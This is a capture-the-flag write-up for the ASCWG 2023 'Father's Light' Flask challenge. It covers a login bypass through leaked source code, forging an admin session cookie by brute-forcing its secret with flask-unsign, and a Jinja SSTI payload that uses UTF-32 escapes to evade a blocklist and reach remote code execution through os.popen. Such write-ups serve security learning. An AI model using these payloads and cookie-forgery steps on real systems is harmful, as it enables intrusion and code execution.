ASCWG 2023 - Father's Light SSTI to RCE
Father’s Light Info
Level: Medium
Points: 600
Description :
Enter the enigmatic realm of “Father of Light” Unleash your skills, explore hidden paths, and uncover the depths of mysterious creations. Will you emerge as the champion? Dare to unravel the enigma.
Login Bypass
- there is a login page in /login, redirected to after opening the link
- I tried to bypass the login using SQL Injection, but the server responded with
Do You think you can Hack My Applicationnnnnnnn!!!
, I’ve tried many things like requesting/login~
to expose the backend code and sending unexpected input, sending the username or the password as an array will make an INTERNAL SERVER ERROR and expose useful information part of the response
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
HTTP/1.1 500 INTERNAL SERVER ERROR Server: Werkzeug/2.3.6 Python/3.11.2 Date: Fri, 04 Aug 2023 17:04:52 GMT Content-Type: text/html; charset=utf-8 Content-Length: 18283 Connection: close <div class="source "><pre class="line before"><span class="ws"></span>@app.route('/login', methods=['GET', 'POST'])</pre> <pre class="line before"><span class="ws"></span>@limiter.limit("20 per minute")</pre> <pre class="line before"><span class="ws"></span>def login():</pre> <pre class="line before"><span class="ws"> </span>if request.method == 'POST':</pre> <pre class="line before"><span class="ws"> </span>username = request.form['username']</pre> <pre class="line current"><span class="ws"> </span>password = request.form['password'] <span class="ws"> </span> ^^^^^^^^^^^^^^^^^^^^^^^^</pre> <pre class="line after"><span class="ws"> </span>pattern = r'select|union|\'|"|or|and|#|--|=| |1=1'</pre> <pre class="line after"><span class="ws"> </span>if re.search(pattern, username):</pre> <pre class="line after"><span class="ws"> </span>flash('Do You think you can Hack My Applicationnnnnnnn!!!', 'error')</pre> <pre class="line after"><span class="ws"> </span>return render_template('login.html', error=True)</pre> <pre class="line after"><span clas=s"ws"> </span>elif username == 'admin' and password == 'password':</pre></div> </div>
Beautified
1 2 3 4 5 6 7 8 9 10 11
@app.route('/login', methods=['GET', 'POST']) @limiter.limit("20 per minute") def login(): if request.method == 'POST': username = request.form['username'] password = request.form['password'] pattern = r'select|union|\'|"|or|and|#|--|=| |1=1' if re.search(pattern, username): flash('Do You think you can Hack My Applicationnnnnnnn!!!', 'error') return render_template('login.html', error=True) elif username == 'admin' and password == 'password':
- From the response, we know the following:
- it’s a Flask app
- admin:password is a valid credential
- the pattern is
pattern = r'select|union|\'|"|or|and|#|--|=| |1=1'
- we used the valid credentials to log in (admin:password)
- login response
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
HTTP/1.1 302 FOUND
Server: Werkzeug/2.3.6 Python/3.11.2
Date: Fri, 04 Aug 2023 17:00:55 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 197
Location: /user
Vary: Cookie
Set-Cookie: session=.eJyrVsosjk9Myc3MU7JKS8wpTtVRKi1OLYrPTFGyUjI0M1KC8PMSc1OBAhCFtQDj5xGP.ZM0uxw.Z1agEdPmnggokr26qAjRfzOkn9k; HttpOnly; Path=/
Connection: close
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/user">/user</a>. If not, click the link.
Regular user to Admin user
we noticed in the last response that the server sent a session, flask session 🤔hmm, did you think of what I thought, we can decode this session token using
flask-unsign
and brute force the secret to sign a new modified one. Easy, right?1
Set-Cookie: session=.eJyrVsosjk9Myc3MU7JKS8wpTtVRKi1OLYrPTFGyUjI0M1KC8PMSc1OBAhCFtQDj5xGP.ZM0uxw.Z1agEdPmnggokr26qAjRfzOkn9k; HttpOnly; Path=/
decoding the cookie
1 2 3 4
┌──(juba㉿legion-5-kali-vm)-[~] └─$ flask-unsign --decode --cookie ".eJyrVsosjk9Myc3MU7JKS8wpTtVRKi1OLYrPTFGyUjI0M1KC8PMSc1OBAhCFtQDj5xGP.ZM0uxw.Z1agEdPmnggokr26qAjRfzOkn9k" {'is_admin': False, 'user_id': '162', 'username': 'admin'}
brute-force the secret
1 2 3 4 5 6 7
┌──(juba㉿legion-5-kali-vm)-[~] └─$ flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie ".eJyrVsosjk9Myc3MU7JKS8wpTtVRKi1OLYrPTFGyUjI0M1KC8PMSc1OBAhCFtQDj5xGP.ZM0uxw.Z1agEdPmnggokr26qAjRfzOkn9k" --no-literal-eval [*] Session decodes to: {'is_admin': False, 'user_id': '162', 'username': 'admin'} [*] Starting brute-forcer with 8 threads.. [+] Found secret key after 30080 attempts b'amorlove'
sign a new modified cookie
1 2 3
┌──(juba㉿legion-5-kali-vm)-[~] └─$ flask-unsign --sign --secret "amorlove" --cookie "{'is_admin': True, 'user_id': '1', 'username': 'admin'}" .eJyrVsosjk9Myc3MU7IqKSpN1VEqLU4tis9MUbJSMlSC8PISc1OBXIiqWgC2jxDc.ZNEv2A.7Ka4PghgjAOmybhsH0KedhmuqtY
- after editing the cookie, we became an Admin user
SSTI
SSTI PoC
we tried to exploit SSTI in all the input fields (name, email, and post_content), but only the name is vulnerable to SSTI, firstly we tried
2*2
in double curly braces, I’m so sorry for not using7*7
, I feel like I broke the rules 😅
https://youtu.be/SN6EVIG4c-0?t=562
Crafting payload
- we tried many payloads, but there are many characters blocked, like __ and others, to get the flag you could just send and URL encode config, but this is not what I did, I got an RCE, let’s dive in
- I found that the server blocks
__class__
but does not block its UTF-32, so I tough that we can use the following payload to get an RCE we can use the following payload to get an RCE
1
''.__class__.__mro__[1].__subclasses__()[207].__init__.__globals__['sys'].modules['os'].popen('echo RCE').read()
Payload Explanation
- there is a problem, the server blocks
.
, don’t worry, we can bypass it using[]
1
2
3
4
''.__class__.__mro__[1].__subclasses__()[index_of_catch_warnings].__init__.__globals__['sys'].modules['os'].popen('echo RCE').read()
''['__class__']['__mro__'][1]['__subclasses__'][index_of_catch_warnings]['__init__']['__globals__']['sys']['modules']['os']['popen']('id')['read']()
finding catch_warnings
index
by sending:
1
''['__class__']['__mro__'][1]['__subclasses__']
in UTF-32 like the following:
1
''['\U0000005F\U0000005F\U00000063\U0000006c\U00000061\U00000073\U00000073\U0000005F\U0000005F']['\U0000005f\U0000005f\U0000006d\U00000072\U0000006f\U0000005f\U0000005f'][1]['\U0000005f\U0000005f\U00000073\U00000075\U00000062\U00000063\U0000006c\U00000061\U00000073\U00000073\U00000065\U00000073\U0000005f\U0000005f']()
we will get a list of the subclasses, convert it from HTML entity and remove other HTML lines, and separate each class in a like in sublime (CTRL+F → ,
and ALT+Enter then Enter), we can find that catch_warnings in line 208, decrementing it by one because python list counts from zero not one like sublime lines, catch_warnings
index is 207
we will get
getting RCE
- we found that ‘
popen
’ and ‘read
’ is blocked, so we converted it to UTF-32 too
- executing
ls
Getting the flag
final payload without:
1
2
3
''['\U0000005F\U0000005F\U00000063\U0000006c\U00000061\U00000073\U00000073\U0000005F\U0000005F']['\U0000005f\U0000005f\U0000006d\U00000072\U0000006f\U0000005f\U0000005f'][1]['\U0000005f\U0000005f\U00000073\U00000075\U00000062\U00000063\U0000006c\U00000061\U00000073\U00000073\U00000065\U00000073\U0000005f\U0000005f']()[207]['\U0000005f\U0000005f\U00000069\U0000006e\U00000069\U00000074\U0000005f\U0000005f']['\U0000005f\U0000005f\U00000067\U0000006c\U0000006f\U00000062\U00000061\U0000006c\U00000073\U0000005f\U0000005f']['sys']['modules']['os']['\U00000070\U0000006f\U00000070\U00000065\U0000006e']('cat+app.py')['\U00000072\U00000065\U00000061\U00000064']()
Thanks for reading, feel free to DM me, Have a great day 🌹